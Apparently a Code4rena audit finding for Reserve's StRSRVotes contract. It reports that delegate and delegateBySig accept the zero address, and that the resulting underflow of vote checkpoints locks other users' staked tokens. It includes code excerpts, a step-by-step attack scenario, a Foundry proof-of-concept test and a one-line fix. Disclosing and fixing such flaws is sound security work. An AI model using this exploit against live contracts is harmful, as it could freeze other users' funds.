delegateBySig() does not validate the delegatee address, malicious user can lock other user's NFT(funds)

[c4-bot-4]

Lines of code

https://github.com/code-423n4/2024-07-reserve/blob/main/contracts/p1/StRSRVotes.sol#L162 https://github.com/code-423n4/2024-07-reserve/blob/main/contracts/p1/StRSRVotes.sol#L166

Vulnerability details

Impact

function delegateBySig doesn't cover case when delegatee = address(0), malicious users can lock other user's NFT(funds).

The delegateBySig() function does not validate the delegatee address.

when call delegateBySig(delegatee=address(0)), the delegatee is still self, but user checkpoints.votes will be reduced. it will cause the NFT(funds) of the user being delegate to be locked, can no set other delegatee or NFT transfer

https://github.com/code-423n4/2024-07-reserve/blob/main/contracts/p1/StRSRVotes.sol#L166C1-L183C6

    function delegateBySig(
        address delegatee,
        uint256 nonce,
        uint256 expiry,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public {
        require(block.timestamp <= expiry, "signature expired");
        address signer = ECDSAUpgradeable.recover(
            _hashTypedDataV4(keccak256(abi.encode(_DELEGATE_TYPEHASH, delegatee, nonce, expiry))),
            v,
            r,
            s
        );
        require(nonce == _useDelegationNonce(signer), "invalid nonce");
        _delegate(signer, delegatee);
    }

POC:

step1 - Alice has 1 NFT, Bob has 1 NFT, and Bob's delegatee is Alice, then Alice's Checkpoints.votes=2

step2 - Alice transfers its own NFT to Carol, then Alice's Checkpoints.votes=1

step3 - Alice call delegateBySig(address(0)), after Alice's Checkpoints.votes=0

step4 - Now Bob cannot modify the delegatee, nor can he transfer NFTs(funds). In fact, they are locked

What will happen will be as follows:

If Bob wants to transfer NFT or set a new delegatee, it will call _moveVotingPower()

https://github.com/code-423n4/2024-07-reserve/blob/main/contracts/p1/StRSRVotes.sol#L230C1-L243C14

    function _moveVotingPower(
        address src,
        address dst,
        uint256 amount
    ) private {
        if (src != dst && amount != 0) {
            if (src != address(0)) {
                (uint256 oldWeight, uint256 newWeight) = _writeCheckpoint(
                    _checkpoints[era][src],
                    _subtract,
                    amount
                );
                emit DelegateVotesChanged(src, oldWeight, newWeight);
            }

Here also because src = Alice, and the Alice's Checkpoints.votes=0, _moveVotingPower() reverts with an underflow error due to subtracting amount from 0.

The same thing, i.e. locking of NFTs(funds), can happen to the user himself as well:

If user A votes to address 0 in the delegateBySig function, _delegates[A] will be address 0.

https://github.com/code-423n4/2024-07-reserve/blob/main/contracts/p1/StRSRVotes.sol#L220C1-L228C6

    function _delegate(address delegator, address delegatee) internal {
        address currentDelegate = delegates(delegator);
        uint256 delegatorBalance = balanceOf(delegator);
        _delegates[delegator] = delegatee;

        emit DelegateChanged(delegator, currentDelegate, delegatee);

        _moveVotingPower(currentDelegate, delegatee, delegatorBalance);
    }

Later, if user A votes to another address or transfers NFT, the _moveVotingPower function will fail due to underflow, which makes user A lose votes forever and cannot transfer NFT(funds).

This vulnerability is also true for the delegate function

https://github.com/code-423n4/2024-07-reserve/blob/main/contracts/p1/StRSRVotes.sol#L162C1-L164C6

    function delegate(address delegatee) public {
        _delegate(_msgSender(), delegatee);
    }

Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.19;

import {Test, console} from "forge-std/Test.sol";
import {StRSRP1Votes} from "../contracts/p1/StRSRVotes.sol";
import { ECDSA } from '@openzeppelin/contracts/cryptography/ECDSA.sol';

contract StRSRVotesTest is Test {
    StRSRP1Votes public stvote;

    address public bob = vm.addr(1);

    uint256 privateKey = 0xBEEF;
    address public alice = vm.addr(privateKey);

    function setUp() public {
        stvote = new StRSRP1Votes();
    }

    function test_delegate() public {

        deal(address(stvote), bob, 1);
        deal(address(stvote), alice, 1);

        stvote.balanceOf(bob);

        //vm.startPrank(bob);
        //stvote.delegate(bob);
        //vm.stopPrank();

        //vm.startPrank(alice);
        //stvote.delegate(alice);
        //vm.stopPrank();

        vm.startPrank(bob);
        stvote.delegate(alice);

        vm.stopPrank();

        vm.startPrank(alice);

        address delegatee = address(0);
        uint nonce = 0;
        uint expiry = 10e9;

        (uint8 v, bytes32 r, bytes32 s) = signDelegation(delegatee, nonce, expiry, privateKey);
        stvote.delegateBySig(delegatee, nonce, expiry, v, r, s);        

        // or
        //stvote.delegate(delegatee);

        vm.stopPrank();

        address recipient = makeAddr('recipient');

        vm.startPrank(bob);

        stvote.delegate(recipient);

        vm.stopPrank();
    }

    function signDelegation(
        address delegatee,
        uint256 nonce,
        uint256 expiry,
        uint256 pk
    )
        internal
        returns (
            uint8 v,
            bytes32 r,
            bytes32 s
        )
    {
        bytes32 domainSeparator = keccak256(
            abi.encode(
                keccak256('EIP712Domain(string name,uint256 chainId,address verifyingContract)'),
                keccak256(bytes(stvote.name())),
                getChainId(),//block.chainid,
                address(stvote)
            )
        );

        bytes32 structHash = keccak256(
            abi.encode(
                keccak256('Delegation(address delegatee,uint256 nonce,uint256 expiry)'),
                delegatee,
                nonce,
                expiry
            )
        );

        return vm.sign(pk, ECDSA.toTypedDataHash(domainSeparator, structHash));
    }

function getChainId() public view returns (uint256) {
    uint256 id;
    assembly {
id := chainid()
}
return id;
}
}

forge test -C test/StRSRVotes.t.sol -vvvvv

Tools Used

Foundry

Recommended Mitigation Steps

Consider preventing vote delegations to address(0)

require(delegatee != address(0), 'invalid delegatee');

Assessed type

Governance